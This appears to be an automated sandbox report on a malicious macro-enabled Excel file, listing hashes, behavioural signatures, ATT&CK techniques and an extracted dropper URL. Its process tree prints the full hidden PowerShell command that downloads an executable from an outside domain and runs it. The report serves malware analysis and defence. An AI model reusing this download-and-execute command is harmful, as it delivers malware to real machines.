Overview

overview

10

Static

static

Vouch_me.xlsm

windows7_x64

10

Vouch_me.xlsm

windows10_x64

10

Analysis

  • max time kernel
    137s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    08-07-2020 07:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Vouch_me.xlsm

  • Size

    48KB

  • MD5

    7d50d1522e40087223060bc413bcf35d

  • SHA1

    b1e708e5e73698623944736c81b86c6d58d230d4

  • SHA256

    3d2f4071f4039fc8d0fa05ecc9cbad6f350e028dbae28f059d6f40446e688a16

  • SHA512

    7cd7614be761191844f6506ee66d94cb4729ff3a7be33f96e2eba830fc1f079fa2897d5564f47349e227c233769acd6e5d30f43ffd4232207fd92e25905d7abe

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://seedwellresources.xyz/uT5wiEYASje8CME.exe

Signatures

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Vouch_me.xlsm"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://seedwellresources.xyz/uT5wiEYASje8CME.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Blacklisted process makes network request
      PID:3420

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3420-6-0x0000000000000000-mapping.dmp
    Download